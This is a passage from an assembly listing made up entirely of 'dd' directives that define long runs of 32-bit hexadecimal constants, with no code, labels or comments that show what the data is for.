		dd 0D46141A1h, 892651DBh, 9B22BEE8h, 895F2D96h,	808E578Ah
		dd 0C4CCFC32h, 4132A87h, 1664E1B7h, 3F85FD04h, 0E603FB16h
		dd 0D03DE305h, 122D3547h, 0C5381770h, 4840EF84h, 79AA78EAh
		dd 9789FAE9h, 18C43268h, 28B97AE1h, 0A17401D2h,	2019D407h
		dd 6B12CC4Ah, 48E11346h, 0B41AF39h, 1745EAD9h, 4B68AB88h
		dd 3ACD891Dh, 0AD4672EDh, 0BCC6E915h, 0B37BE07h, 0D3AB0965h
		dd 3CBC6E78h, 0A643F601h, 0BA38FCD7h, 40FFD840h, 0E6D25DFBh
		dd 28921D01h, 6A002EEFh, 82E7945Ch, 726600Ch, 0C0236016h
		dd 0F8094A47h, 7C9C0027h, 0F1E9210Dh, 0CEABCB5Dh, 8082646Bh
		dd 6E1EBF00h, 0D12209DFh, 9850F7E7h, 0E947030Bh, 0D98FC2F6h
		dd 0CC20B3Ah, 90CBC4FFh, 6256958Bh, 0D726AD3Fh,	0C10225A5h
		dd 7760791Ah, 78012DFCh, 82817FFFh, 1D1B4440h, 2017033Fh
		dd 60883F5h, 6944921Ch,	8339183Eh, 0C5B3041h, 12DA54D7h
		dd 0C5AEE91Fh, 8F88EA39h, 0BB7BB702h, 84F1F7E2h, 59002182h
		dd 50F4805Bh, 920E63B7h, 0FBF1DDCFh, 95C39058h,	7B381977h
		dd 45D932Ah, 0D18BABCCh, 82F924Ah, 0FF25935Ch, 8EF1CCBBh
		dd 5B1C9323h, 94691F21h, 0E8D7246Fh, 0E0A7DDAEh, 284B7168h
		dd 0FCAF0E5Fh, 818EBC2Fh, 0CC21BDEDh, 0C8E57F03h, 49B00806h
		dd 0E85FD506h, 1131F399h, 5F0BC581h, 639A12FEh,	53D268AFh
		dd 2E50455Fh, 2CD24221h, 0B9600DCh, 34B169AFh, 834B3077h
		dd 476C88EEh, 5CA3384Eh, 56CFE90Dh, 7457D8E3h, 0C3131B99h
		dd 3F6C9F4h, 612C39FBh,	1C10F129h, 500EB88h, 58E07B16h
		dd 2D00485Dh, 0D903CADh, 2E427625h, 8B4BFBh, 49D13FFCh
		dd 334C58E9h, 92B78451h, 0AD3BA00h, 0E987007h, 294F1809h
		dd 0D9880065h, 0F311CD7Dh, 2716E474h, 0D5F0F23Eh, 0DFA67825h
		dd 0B65241B0h, 280E095Ah, 0C5CC8E50h, 0CF0458E6h, 0B2BCCE42h
		dd 1251C5C4h, 626B0FB1h, 0DF6A398Eh, 92A29C57h,	773E12C4h
		dd 57740AA4h, 46EA9DBDh, 0DE597FE3h, 5A1AE620h,	0CAE1B230h
		dd 68413952h, 84241F6Ah, 0DD405ECBh, 3ECEECFBh,	21D54495h
		dd 0C34BA52h, 0EE89D4EAh, 0AA4E73ACh, 8BABFD85h, 0BEED2CB8h
		dd 0AB715A9Fh, 0EB390EAEh, 0A6FB4977h, 0ECCF6812h, 7DEB4B2Dh
		dd 7715A71Bh, 0E8809F6Bh, 0DC95282Ch, 0BE62C3F2h, 73B9EEFCh
		dd 3975E9B0h, 0E40BBFA4h, 57153433h, 809C262h, 888CD645h
		dd 0D7F9C943h, 4712FF52h, 9610FDA9h, 91F462E2h,	1F1A71B2h
		dd 61D1CC55h, 18F03512h, 40633F00h, 0F7B82105h,	95FEBAF9h
		dd 4D9A9B64h, 0F2C07C97h, 4FC530D7h, 25A261Bh, 162A0039h
		dd 0C5016510h, 1F99AC8h, 5020C780h, 0D0DE70B0h,	0D5B75302h
		dd 5AE7B1E9h, 38211331h, 0B56D042Bh, 38F1453h, 0AD9C48C7h
		dd 654E2659h, 0EC856D70h, 0CA9EF32Ch, 96F8B9BBh, 0E4B14EB9h
		dd 9DF515FCh, 60A357E6h, 6F3500A4h, 0FD4B6EB7h,	4AED8770h
		dd 0D627FE31h, 0CBEF5C92h, 1C428080h, 28E2C214h, 0BACAEAC8h
		dd 84FDC342h, 8FD5A41h,	18217E84h, 8006F5D0h, 0E2E4D430h
		dd 13F609D4h, 32D15117h, 0AA05DBD3h, 0EF25B480h, 4D2C2E7Bh
		dd 0EBD112DDh, 0CBEC0117h, 81F15F2Dh, 2C46F63h,	5FFEBB40h
		dd 9E07F41h, 222074EBh,	2D52171Eh, 0F822F1B4h, 30251238h
		dd 91167709h, 0EC32B12Ch, 0A5FE066Fh, 0C3290410h, 0FF611368h
		dd 80058CD8h, 62D25066h, 80144EBAh, 48E9C081h, 7A5D6B78h
		dd 0A23FA5FDh, 576393DFh, 7FA5D26Dh, 99969045h,	8EBAF984h
		dd 6E957E70h, 8896C1FCh, 6085E480h, 0C4ECC1E3h,	10063D65h
		dd 72E9E880h, 0D474B7E5h, 0F03FF15Bh, 52DDFDFBh, 971171F0h
		dd 2006A1E9h, 7204B101h, 0D9F75188h, 2D9A41BEh,	3F18136Dh
		dd 0F8EB0282h, 0C78828CBh, 0F38C2D81h, 85A019E4h, 2E5C4B20h
		dd 0E1B8198Eh, 16DCE32Dh, 0F3799527h, 2FC9A6BCh, 0F5FAE2AFh
		dd 0D68EE5E0h, 46E75618h, 3E62990Eh, 0E68379A7h, 4760111Bh
		dd 6888CEE0h, 1D34A93Eh, 304912C6h, 0D4F800C8h,	261F9562h
		dd 2054F201h, 19F49708h, 5103F853h, 0B1222FE9h,	0BA024C25h
		dd 49FBA060h, 0E97A090Eh, 47DE3564h, 0CB7E3C51h, 0E950040Fh
		dd 0B3F830FAh, 9D64091h, 28685613h, 7373055Fh, 0F8696626h
		dd 2D328388h, 8AE256D4h, 0BBE0545h, 1CFF2956h, 0ED4BF8Fh
		dd 71220ACh, 0B85BF3E3h, 68BDF7h, 0B5767C18h, 5395524Fh
		dd 0E95393DCh, 0D1878482h, 0BC7F5E09h, 1918BF4Eh, 339AB9E9h
		dd 9AB2D4Bh, 627505F4h,	7ED155FEh, 72DCD1C9h, 342D4A80h
		dd 0E91065E3h, 0D11E3607h, 42CBC1E0h, 2E29CEEDh, 0AEA4F8F8h
		dd 46FD4CDh, 911721h, 8140CCBBh, 0BBEF67Bh, 159627B4h
		dd 4599C983h, 5F58F2h, 33E9435Fh, 0F59DC04Fh, 342008CEh
		dd 0D8AA4560h, 9DB23587h, 0F60020DAh, 49636844h, 9D07E6C1h
		dd 970AEC5Ah, 0F57E778Bh, 2EEF898Ch, 9941FC2h, 0F3D665E4h
		dd 4CA508A0h, 0AC5E0CAFh, 0D83510D4h, 26DA012Dh, 24E9316Eh
		dd 3597474h, 8006E6C0h,	6383CC6h, 0E9F00479h, 7BC821DAh
		dd 0D5469A3h, 552D687Eh, 7825EA14h, 8466D542h, 0F1061520h
		dd 0D227902Ch, 254A5B62h, 86297E78h, 5380ED41h,	75236851h
		dd 886F58EEh, 52400A3Dh, 5F2A909Fh, 1A222468h, 65809D51h
		dd 0F7C9A3F9h, 0DF9EC04Eh, 27C75DA7h, 6BC57C17h, 4F3C4FEEh
		dd 0BC6D4244h, 0DEFF93C7h, 0C5E7462h, 34E972DCh, 0F044A370h
		dd 71FF352h, 0F324714Fh, 0E1481832h, 0B87EE70Ch, 0C6EE9CDDh
		dd 6B30F125h, 2048C45Dh, 5A570563h, 0D64F5C4Dh,	85EA0512h
		dd 91C5AF6Fh, 81BE04EFh, 5BBAB971h, 5539D54Dh, 0D24AA87Ah
		dd 0B9E1D0FFh, 522C4065h, 91021725h, 773BD170h,	40BB6D6h
		dd 7D6D8049h, 0BDA719CEh, 59555CE2h, 1112819Bh,	3E296A33h
		dd 5AE66E4Ch, 0C0BBA259h, 2C38B2E8h, 29006866h,	0EEB40229h
		dd 0D5C8E208h, 682501EAh, 60BA5611h, 0C2281FB0h, 0B353580Dh
		dd 0E9CC4E72h, 30304F4Bh, 1B7BA699h, 0C92DDB98h, 0C89ED926h
		dd 0F7EE259Fh, 921B5602h, 32540138h, 52540C0Bh,	0E8BB53C3h
		dd 9D1E7970h, 840A455h,	3B4EC603h, 0C2F30C02h, 78A69763h
		dd 14429D24h, 4BD3D9D7h, 4A4844F7h, 0F6598025h,	0C93D80D1h
		dd 8B3E2573h, 67435120h, 0EE5F594Fh, 9F5DF837h,	0C1D87776h
		dd 26E5E103h, 9CA71620h, 0E0564661h, 34EA3CC0h,	262E8BEh
		dd 0DE29425Eh, 62552DE9h, 27FCD661h, 9E4BB4D7h,	22D52F6Ch
		dd 6226FDE0h, 0C780DD03h, 40233CC2h, 0A907D597h, 30D85705h
		dd 3667483Fh, 238218DEh, 566601CAh, 0F5DA273Fh,	2E878F5h
		dd 0B54C0B8h, 0C382D5A6h, 53E915AFh, 0BEC0CADAh, 0C895F54Ch
		dd 10B82A52h, 0A01C02Eh, 8458C389h, 0FC0B0826h,	0D4A85769h
		dd 0B1F92F08h, 99F6AF6Bh, 7A31536Bh, 909FF2Fh, 7A47127Ch
		dd 2D557BF6h, 8B79BDAAh, 0B711178Ah, 4CE3BF60h,	0E21D5805h
		dd 0E8186E02h, 0A3DA4F0Ah, 9096FB20h, 155C27AAh, 0A86845D1h
		dd 0D21FB204h, 0C0521BC2h, 4B019C88h, 0C3FDB8C2h, 2FA88BE9h
		dd 8F57BD4Ch, 281E4543h, 0AED6F3F8h, 209DAE31h,	0B2520E52h
		dd 8017653Ch, 5B4E6853h, 89A01131h, 72DE3B8Ch, 0EC670BC4h
		dd 6BA790EFh, 66B0DEABh, 0A6E9CD09h, 555BC805h,	7BD72068h
		dd 115B54FAh, 0A412C39Dh, 5E764668h, 4E2004B4h,	175281F7h
		dd 370105D3h, 4058619Ah, 0B843FA3Ah, 0C17271F1h, 95E4493Dh
		dd 0D7E5AAD7h, 84AFB822h
		dd 0EA015901h, 1C5FF082h, 0BA7443F0h, 28502788h, 4567256Bh
		dd 0C9EA9640h, 7CBF0213h, 0E95302EAh, 2A59E59Eh, 0A585CC6h
		dd 1C4948CAh, 1C5128D5h, 0A528094Fh, 7AC70077h,	2DEA9EBEh
		dd 3940FA29h, 7997230Eh, 7BDCEB64h, 0CC3B3962h,	0E37CB7E2h
		dd 0A5EA5E12h, 2376C237h, 4ED1A94Eh, 0FB894E07h, 0AA004729h
		dd 0AA057B8h, 0CA31592Bh, 0CFDF0822h, 45BE6603h, 0C3AAA461h
		dd 1FCD704Bh, 144E18CCh, 196323F6h, 0FDB99D0Bh,	0E22DC7EEh
		dd 9655D389h, 9559D39h,	0CBEDFD9Dh, 260F3192h, 9740100Eh
		dd 72C94B82h, 32D5DA97h, 0AFD17787h, 8995F449h,	0C0D8F987h
		dd 4A60C230h, 95895D56h, 15EB730h, 5BDD04Ah, 0AFBCF7C4h
		dd 74F13DE8h, 0C357E01h, 0F6F48381h, 0EEA814BEh, 64DEBD9Dh
		dd 61685D0Eh, 0E93E6085h, 6A5E37D1h, 0C264B84Ah, 55CBC5E9h
		dd 15B09D14h, 52E5D195h, 95FC687h, 2F43E777h, 55727D56h
		dd 0EE1640DBh, 78693BFDh, 5B788977h, 789EB0C6h,	5E1A3358h
		dd 0C50B762Dh, 6FE989E8h, 1ED5F729h, 35E9139Fh,	77E7D036h
		dd 5448C974h, 77C078FEh, 2335AEAh, 0BC42484Ch, 0D5507C04h
		dd 8FC1C36Eh, 0E90A10D0h, 313AFC30h, 2D20EFCFh,	0E5506E32h
		dd 3D84385Eh, 4EFB39EBh, 65E90CF7h, 0BB83457h, 2EFC49D6h
		dd 0BBF0C0FFh, 2F77342Bh, 441B8210h, 0FC9DC678h, 285D9C44h
		dd 6CC70B5Dh, 21F70E47h, 92E9F979h, 546F0B7Eh, 0A9528F04h
		dd 0ADE30382h, 0D05EA365h, 572BE56h, 89F9BABFh,	0FDFBC3F2h
		dd 1EF72903h, 0D97CC15Fh, 0A72BB563h, 1AFD4DE2h, 54F74668h
		dd 57F27D3h, 0BA92E461h, 9DC27FCAh, 2524DD74h, 185877C9h
		dd 688557B4h, 0EA6210F6h, 0CC74E3h, 68CBB652h, 0E6A94A66h
		dd 0A8F47F2Ah, 154D0FE1h, 0E6662272h, 5A031625h, 4F5B050h
		dd 533DD997h, 0C472A26Bh, 0DDAFF9DBh, 530F0070h, 0E349DCE9h
		dd 805901C7h, 0FE2886EEh, 0F9D7C6D5h, 412F5C90h, 60084499h
		dd 93B23B36h, 0D1D8AED2h, 0FDE59709h, 2F4521ACh, 4A689BF0h
		dd 1027B624h, 6148267Ah, 0E88D1916h, 0AB52C4DCh, 44191413h
		dd 0B7F41E25h, 74EC68C1h, 297C838Ah, 4D0841F0h,	0FE89F4D3h
		dd 0EB47B197h, 0AD7BE56Ah, 4F9756A6h, 0A357AE96h, 50D909EFh
		dd 804273F5h, 5E65B951h, 0FCB52C38h, 26D102CBh,	0B4C07FBAh
		dd 82162095h, 25390153h, 8699BC6Fh, 45FE17Dh, 0ECFBF5EDh
		dd 0B81CC0C4h, 84D33A2Bh, 80460B1h, 40FACFBFh, 0D7A47D91h
		dd 3245D909h, 3C13740Ch, 8C4625AEh, 372F2170h, 7BE51244h
		dd 3E78B839h, 4B93504Dh, 6BA1CA42h, 621B0479h, 744D5B07h
		dd 4BEFB861h, 1C768BBEh, 837FFE7Eh, 4E4C75B9h, 4BFDD121h
		dd 0CCF83275h, 0B0A90C0h, 76B76866h, 0F378C9D7h, 254EEEC3h
		dd 0E27CE528h, 8AFA196Fh, 0A3404363h, 0B6404AFAh, 46F41237h
		dd 0A4822E37h, 3185591Bh, 6FE39DE8h, 18B34A31h,	0B922D607h
		dd 80304BB5h, 0E4F42CF8h, 5AE4EF1Bh, 1EC96F04h,	1A28267Dh
		dd 9E5F3AB3h, 0A2F79DE7h, 595799ACh, 1C4BF4Bh, 0A029FB7Fh
		dd 0BB085A1Dh, 16132476h, 20DD8913h, 139C0F76h,	128D7025h
		dd 0BA022168h, 0ACE98861h, 0B9002F28h, 74FC23D8h, 0F76B5141h
		dd 608E7F7Ch, 0E8158462h, 29C821E3h, 2125E9EFh,	42F4D65Eh
		dd 40530C87h, 1850BA10h, 8D04C21h, 4884F4E5h, 32A447FFh
		dd 38602877h, 1826BCFh,	47B01E8h, 0C49EB23Fh, 0D8BCEFE9h
		dd 10AA8E5Eh, 0B71D4566h, 251DDEA9h, 0F89788EEh, 0DDCA0336h
		dd 39B55150h, 88E7C5B8h, 859E812h, 0B79DA1EBh, 19902D28h
		dd 0CB161BE9h, 11FFBF4Ch, 0EC2EC3E1h, 0FB2904C8h, 9FF12BE9h
		dd 49FD8B3Eh, 4839C485h, 9BC1FEACh, 7B522847h, 4B078610h
		dd 3C2739FBh, 76BB5A78h, 0EC051246h, 0D13B2D1Bh, 56FFF404h
		dd 96D53106h, 7830E505h, 0D2A061D9h, 372C0BC6h,	35E50127h
		dd 15F302BBh, 5C0BFECBh, 85AE92FCh, 8928BFA3h, 0E2C1BC53h
		dd 460439E6h, 758935C2h, 682740CEh, 8DE67788h, 2D8674B7h
		dd 0B5E1BA1h, 0CCA20B6h, 7A2905Eh, 0CEA2C498h, 55F39F17h
		dd 0A7E9F921h, 0BA2E03F3h, 71CA6EA4h, 0BFBDCED3h, 0D064E269h
		dd 85090518h, 8CC62977h, 4FBCC96h, 333217EEh, 124A291Ah
		dd 0E55133FAh, 0E8C01F00h, 20762C03h, 82E49EC2h, 27A9E993h
		dd 2CFB5204h, 16176FB0h, 2BA656Ch, 69444E74h, 0C87E8240h
		dd 0E931F404h, 0EE14E3FEh, 773C3D70h, 0B916CD16h, 979B2ECDh
		dd 11E8390h, 0E7BA845Fh, 92EDEAFFh, 901AE4B7h, 0F97B9572h
		dd 0ABB5701h, 3116F642h, 0E974D06Fh, 5694C6B5h,	0DA0262A4h
		dd 0F8D82148h, 24BA950Ch, 3FA0E55Fh, 4A5C14A5h,	2B5EB9E2h
		dd 28454E78h, 8634E8F5h, 3D052768h, 2202DAD3h, 0D801E511h
		dd 15AB7BBh, 0C59A6C27h, 0F93913B6h, 5D6C2D3Dh,	9CA0FC92h
		dd 1F93230Eh, 4242DCB5h, 5363FB2Bh, 0F7F7BAB5h,	0F7F00C85h
		dd 882D7B88h, 4AF8E408h, 0C229AC59h, 6C212F68h,	0FCA04BEAh
		dd 0C50BDE9Bh, 88D45973h, 291309CFh, 0B42EB3A1h, 26FC5EAFh
		dd 42805864h, 0EAD8E0BBh, 0BD300641h, 29ED2F36h, 0D79342h
		dd 7BC3E54Eh, 4A4C606Fh, 692746BCh, 0BC34682Eh,	44E2E985h
		dd 62F0C84Ch, 9D9A5A1Ah, 0FCBEC92h, 34F26695h, 0FA260A86h
		dd 0A04A35F6h, 32275420h, 89425D23h, 706EB541h,	40F5C6ACh
		dd 1A1DF614h, 7244272Fh, 6CC3010Ch, 0A4E966F8h,	2E23ED7h
		dd 26606882h, 5F14B2DFh, 1220614Ch, 2C5576D3h, 88E60F6Bh
		dd 8A20FA3Ch, 90964FF8h, 29DD6809h, 26AB333h, 7846EA9Dh
		dd 70F7266Fh, 8708806Dh, 3BE918D3h, 2265450Eh, 4E427DC5h
		dd 2FA9DDFFh, 8AAAA212h, 22354BC1h, 0E934D1ABh,	25EF2CBFh
		dd 0E98C7E5Bh, 40F56F6Ah, 3B0A474Ah, 2B594B4Ch,	0C691B03Eh
		dd 7A074146h, 2547A00Eh, 7DFC73E9h, 0A81B644Eh,	96295A99h
		dd 0A83B7D21h, 8CBF4B4Bh, 9427E937h, 0C8717Ch, 33194568h
		dd 0E5BFFA89h, 6DE281D9h, 240B777Dh, 0B9095155h, 0F5F3BAEFh
		dd 3F49ACF8h, 7CF4C40h,	98B35393h, 66BCEB60h, 0DA882052h
		dd 9A94E29Dh, 0A91FC239h, 7E323B3Ah, 0BB72582h,	0B05A1856h
		dd 2C78117h, 315467AEh,	17C2F701h, 535D0809h, 2FE8AD56h
		dd 92550EE9h, 26B37BD2h, 3EE4568Ch, 2E12521Fh, 8D34B401h
		dd 0AC2B3140h, 0BF46A325h, 2D284DC1h, 4FAD5B20h, 0CBF0FC1Bh
		dd 4CD8D25Bh, 0DA8F3287h, 8264127Eh, 0AF7FBA78h, 0DFF9B745h
		dd 2F54E54Fh, 2B9F0009h, 92ED778Bh, 0E9849523h,	0EEB94E61h
		dd 920F51CBh, 0BD7930ECh, 79236705h, 1BAD609h, 864C3C28h
		dd 2843204Bh, 0B4846A2Ah, 5B2F8C09h, 4E5DF878h,	0BEB9C0DFh
		dd 9D05B53Dh, 95FFE31h,	0E985E4B9h, 25BBC0Bh, 391F852Dh
		dd 2062F5E0h, 3045C1DDh, 0AFE45E3Ah, 5D980EF6h,	526110Eh
		dd 84E92EC1h, 5D649D8h,	0A100AEDDh, 43C761ECh, 0B6148460h
		dd 0EA5EE520h, 0B03C3F2Dh, 91107B16h, 0B41EF3h,	0FC20C9C7h
		dd 0BD0E4E77h, 48C9DEA1h, 21F35F58h, 533F6805h,	0C25AC2BDh
		dd 0D077BD9Ch, 1619D71h, 0BB9B8211h, 0E0070F2Ah, 120DC313h
		dd 0BBFB254Ch, 681049E7h, 72C44F28h, 4B0EDAFBh,	9E59AEBh
		dd 56436F68h, 0F5060AEh, 7C90051Ah, 5B86872Dh, 0D9EE0BD4h
		dd 65EF3BD4h, 2AE3D391h, 0A896502Ch, 0C3A92F1Eh, 0BA8D6B71h
		dd 75F82D18h, 40C696B8h, 1E506851h, 24D5C6B7h, 0AD64E028h
		dd 59742E52h, 0AF98F84Fh, 555C4077h, 5E09C490h,	577F2A7Ah
		dd 0BC176B59h, 1EC104B0h
		dd 4B4006E8h, 4A997F6Fh, 5150C0B1h, 2F004698h, 0B05BDD88h
		dd 0B556E990h, 5DBEAB00h, 9B5FCCB8h, 825A08ECh,	85804E12h
		dd 6A211D54h, 9CF7092Ch, 5B338B13h, 4E6E13B6h, 0A192EC26h
		dd 17804413h, 0EB068EEDh, 0CD4E016Bh, 0C25BC0FCh, 95825BD5h
		dd 5000EA2Ah, 0BF89585Eh, 209023DAh, 769DF4FEh,	5451C22Ch
		dd 0FD477CD4h, 60AF11BAh, 6ADC9C6h, 43689B19h, 0B7259152h
		dd 1967D9D6h, 7BB3A57h,	0FEF693E1h, 257C1A68h, 0BF3B4A6h
		dd 5085C92h, 0ECB200A5h, 66CEF280h, 0BC528AB0h,	0D4E45BB7h
		dd 8CD1DF84h, 0E21D6699h, 345DCAFAh, 6AC97585h,	258CD604h
		dd 0C25A46FEh, 30A88506h, 0BAE184FCh, 7981301Eh, 6EEB805h
		dd 5EE0C9A1h, 0FAE84831h, 3CC1E9E1h, 0F1801791h, 59CBCA06h
		dd 0B55101F4h, 0E9EB2874h, 0F7E78D8Ch, 0D44304DBh, 1A2AF1C9h
		dd 17353131h, 60726AA8h, 0A8CA9F58h, 264A9A46h,	41106AF8h
		dd 0DF3E693Ch, 56EE1529h, 106EC118h, 9C9B6DE6h,	0EEC0EE78h
		dd 147A27DBh, 0C8BDEBA3h, 755B68CAh, 50C4F8D1h,	31475F01h
		dd 4D10F4D3h, 630C6460h, 0BF5B8845h, 0E28B7B51h, 828969AAh
		dd 254C7E8h, 8C4C57BAh,	0C95F3156h, 0D2FB3DA7h,	0D527403Eh
		dd 3CC31841h, 0ED10E4Ah, 707D472Dh, 0A38D4F1Ch,	0E0EBD382h
		dd 0F548659Ah, 70BF032Eh, 0C25D105h, 1253A39Ch,	7E0EF52h
		dd 0F4400D27h, 2C2A2649h, 0B550058h, 76357356h,	75E01207h
		dd 12F4048h, 437B1CCBh,	0D119F53Ah, 0C68C6B13h,	34E4126Dh
		dd 5FE4F833h, 0CA681223h, 80D67942h, 6E38053Eh,	2809CB81h
		dd 16375E22h, 16E92735h, 0C67EE389h, 4CA1569h, 126FF768h
		dd 0FD4B67E8h, 7DFA9277h, 0AEC34271h, 7CC05E04h, 48620FB6h
		dd 2025A232h, 31508ED6h, 6CCBD4Ah, 0B9323A21h, 0CA12E3BDh
		dd 4CA5A358h, 0D8366B54h, 0D0F717CAh, 2500EF53h, 0C115A77Ah
		dd 3E5690E5h, 6C126AEDh, 0BB10FFFAh, 40EF0798h,	3EFF3FB6h
		dd 82BD5789h, 4541AF66h, 164B1265h, 43420BA4h, 297500ABh
		dd 0C9020217h, 18C0DA44h, 54782CD5h, 121D5CC1h,	0F1802724h
		dd 1B8209A2h, 0BAC85C89h, 0FE642DB0h, 5E16E325h, 120B4A63h
		dd 0AACF903Eh, 0B8C05F72h, 0B20C0DE5h, 88E19505h, 84312C2Bh
		dd 680073F5h, 5BF61248h, 83ED32CFh, 0B00A3D29h,	0E221C7C5h
		dd 6687BF0Bh, 0D5F73387h, 0EBD085Eh, 6A00AE5Bh,	721FF681h
		dd 0F8D0B73Eh, 0E12F55ECh, 0E5885750h, 9CFF2508h, 0B95121E8h
		dd 43DA3030h, 0AD5B5A3Ch, 350841F3h, 0F4C3802h,	295E4D68h
		dd 2CF7E7Dh, 0B1FEF1A6h, 0E4468F77h, 2F9177BAh,	8F483A7Fh
		dd 4F16168Eh, 0BA31F065h, 5F118A69h, 37E9C3E8h,	888CEA5Bh
		dd 4CA9E6Fh, 421C6853h,	0C9A8E95Bh, 0CC3A5A06h,	9B23D7Ch
		dd 9BD30126h, 21F6CE3Ch, 6DE47A25h, 24472C3Ch, 8D028717h
		dd 0F645F140h, 0B9D58235h, 225C444Eh, 869F7927h, 7BCF0EE9h
		dd 87AD3B7h, 88200DD7h,	9B0F9D17h, 0A5FDEF56h, 0F4FCEE25h
		dd 0E587F5AFh, 5EA21236h, 3F5F40D7h, 897C1305h,	0CF8D00DFh
		dd 9864634h, 5C8F50C1h,	79282087h, 0BEF08913h, 133DBE2Ch
		dd 0A019F85Bh, 62FAD303h, 0C101FB12h, 708C2E98h, 0EDFCB73Dh
		dd 5B4533E4h, 6BCDF6h, 1D754596h, 0CBFE6C7Eh, 0EAEB689Dh
		dd 0CC5F829Bh, 8171A02Fh, 0D5F680A1h, 0B2526606h, 5B0C0832h
		dd 3F0FFA5Ah, 0EDDF3CE5h, 8C1D5216h, 56BBE94Eh,	73DA5038h
		dd 89BE2EAEh, 16560A8Eh, 525E41AAh, 61F83F95h, 1808C628h
		dd 26827CE9h, 6F58295Ch, 29E65AD2h, 0CE91778h, 0A877AB0Fh
		dd 86D036B5h, 9F66BBB5h, 3E40F0B2h, 59BFDC0Bh, 308BA61Dh
		dd 8095B211h, 0F6376AF4h, 0C27304DAh, 0DE061717h, 341B0720h
		dd 0E9C300B2h, 38C319EEh, 0BA23E2BDh, 15BE841Fh, 3F646800h
		dd 76987C28h, 0D009E041h, 0D2E63335h, 83F49554h, 22D2F939h
		dd 0E92180FEh, 8AB2F1DBh, 8635FD00h, 4FE7817Dh,	2C722503h
		dd 0A140DFD6h, 0C11B391Fh, 2147A41Eh, 188C207Eh, 0D6A0E416h
		dd 28605FA0h, 39639F6h,	3EAA4B75h, 1C41FE29h, 18273008h
		dd 27034495h, 8781ECFh,	75251F90h, 62385437h, 0C4D70304h
		dd 0F55CB715h, 0FF2A5D71h, 9F6FE43Ch, 0FD302583h, 80FEF93h
		dd 986D7F6h, 58BF0450h,	353433FEh, 370439AFh, 1CE0EA05h
		dd 4DE91448h, 680994F9h, 32F374Ch, 3AFF45E9h, 9998D5D3h
		dd 544B6E68h, 4DB123B9h, 0FF290285h, 65F97861h,	59106001h
		dd 5D71B716h, 0C0A80F13h, 18F58180h, 5E7BFB68h,	0CB120CB2h
		dd 84C239A1h, 9DEF5840h, 0EBC4015Fh, 0AC7EFEF0h, 462188BFh
		dd 800E1DDDh, 0CE2838F7h, 2CE695Bh, 5AD66B61h, 61DC0F25h
		dd 0FA64E727h, 0DD59091Eh, 554B7196h, 0AF8BD4FFh, 1C475BE0h
		dd 0D4637A58h, 592D0605h, 0E906E676h, 0B72E1C5Dh, 0EA07E4D2h
		dd 8570EE86h, 5CA025E4h, 25F0B85Ch, 63201ED6h, 112001C9h
		dd 1B120CC0h, 58290D5Eh, 8414EFBh, 41111540h, 540E482Eh
		dd 6017420Ah, 82921691h, 0AD687A7h, 0B05B0702h,	0F458F501h
		dd 0DEC9822Dh, 0C081E76Bh, 776812A0h, 69A10CC1h, 0DA433989h
		dd 5A221303h, 0D15500C1h, 29CD81E5h, 1F13B14h, 0BBAB0ED8h
		dd 60EAD6F9h, 0F8CFE9D1h, 0B67AC0A2h, 26D70BE0h, 7039FC4h
		dd 3BFC4BE9h, 0CC185428h, 0E6899F74h, 161E6816h, 0CE4038EBh
		dd 0B23AE09Dh, 2BC2752h, 64BDE244h, 3CD631BBh, 60EF8012h
		dd 89B70BAEh, 80E55DD7h, 13922708h, 1631AF5Dh, 0A0249D6Ah
		dd 0F2801CC2h, 3E7C25EDh, 208E941h, 0F441EE2Bh,	2E1D1164h
		dd 2AED0C81h, 604F5717h, 261216FDh, 13B0649Ch, 1241D9h
		dd 479D9EDDh, 9F83485Fh, 0C000A464h, 0C38007E3h, 0CCEA454Eh
		dd 13496AA9h, 5ED142Ah,	1CC306E3h, 968153Ah, 46A064B0h
		dd 4AB11981h, 0BFE9C86Eh, 0B934E860h, 4F6D7A48h, 8202FC41h
		dd 5D2B7568h, 7D31F718h, 27E4C986h, 57709576h, 9C5D9754h
		dd 2A509D78h, 0A830DE87h, 0BC363A9Eh, 1EAB02B4h, 6855675Dh
		dd 80C9B184h, 28B6F331h, 8E25775Ah, 0DFA4AA8Fh,	0D67C2488h
		dd 0A1831359h, 7DC02B64h, 12248C2Dh, 0AA05299Ah, 9E4047B1h
		dd 4EC87CE7h, 0DCD4C135h, 7E130578h, 0ABC284FEh, 7DC76200h
		dd 4101624Ch, 810804CEh, 23F7E7E7h, 8AC94827h, 6881D092h
		dd 478F0963h, 204BAB3Eh, 0C5C7565Ah, 50B0FFEDh,	0DEE325E9h
		dd 0BE767F7h, 7D80B450h, 0A9EC80CCh, 114C42B8h,	46ED8118h
		dd 1EEDA518h, 0AF4A8A68h, 882E3E6Dh, 0EE484C6Fh, 55592DBDh
		dd 81237410h, 0E2C46C4h, 823EFED9h, 1BD1CD99h, 0D043B183h
		dd 0B7A201E9h, 2C58E128h, 4C8C03Eh, 666159E8h, 0E5E6845h
		dd 0BD37926Bh, 61C2BF00h, 0B0514BE5h, 0C5EC6D09h, 12FAE35Fh
		dd 5E9BACC4h, 0AF0A2DEEh, 79FBF695h, 0EF85558Eh, 4CF91EA0h
		dd 28BC547h, 0C280D3D4h, 0FA7F09AFh, 25D21D05h,	989E3AFDh
		dd 0AC6C5707h, 0D6074157h, 0A3021189h, 0C0C221Fh, 81096F73h
		dd 0A405EA84h, 261E0882h, 0FCCB1370h, 0ED00490Dh, 3EFDBE04h
		dd 68826BD0h, 0A07C7140h, 1F5AE9C1h, 51C3B300h,	80F4B105h
		dd 0C01D7FE1h, 813B2779h, 5EBC0B4h, 12030692h, 0DFE15494h
		dd 590888B0h, 9C9514F8h, 0B6FE5976h, 525B6809h,	24BEBCD9h
		dd 0C1937DD7h, 0DBC4E105h, 3DECE4D0h, 0E4165F50h, 0B2A10F1Ch
		dd 98857FE9h, 0BF1174FEh, 0C9F13C4Fh, 0D44B85B0h, 73A844C5h
		dd 0A96C879Dh, 0CDB7D761h, 0F6C5201Ah, 1D4DDA79h, 88590A4Ch
		dd 731291D8h, 0D550E44Bh
		dd 0B89CB64Bh, 9FBB4AF0h, 2CAA4B32h, 0C944133Bh, 0CFC695EDh
		dd 0E9DB6895h, 0D1E05A0Ch, 38716844h, 32FA5B11h, 38E8D185h
		dd 2673E580h, 6E1C531h,	9600864h, 61855E77h, 242F8F12h
		dd 53B8F179h, 0C34CA99h, 0FB6DD6C9h, 0FF309D86h, 9E02527Fh
		dd 5A28E369h, 1E215442h, 15D0A5E9h, 4416FF9Dh, 0B1EC4528h
		dd 25C5292Eh, 17D48D08h, 5052B95Ch, 649721A6h, 0F1922FD9h
